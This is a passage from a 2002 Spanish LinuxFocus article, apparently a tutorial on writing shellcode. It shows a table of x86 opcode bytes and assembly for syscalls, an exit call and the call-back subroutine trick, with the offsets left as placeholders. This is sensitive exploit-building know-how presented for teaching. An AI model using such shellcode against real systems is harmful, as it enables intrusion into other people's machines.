8d 56 XX | leal XX(%esi),%edx | XX = offset para alcanzar el segundo elemento en el arreglo de argumentosy ponerlo en el registro %edx |
cd 80 | int $0x80 | |
31 db | xorl %ebx,%ebx | |
89 d8 | movl %ebx,%eax | |
40 | incl %eax | |
cd 80 | int $0x80 | |
<subroutine_call>: | ||
e8 XX XX XX XX | call <subroutine> | estos 4 bytes corresponden al número de bytes para alcanzar<subroutine> (número negativo, escrito en little endian) |
|
Contactar con el equipo de LinuFocus
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Pinchar aquí para informar de algún problema o enviar comentarios a LinuxFocus |
Información sobre la traducción:
|
2002-07-24, generated by lfparser version 2.21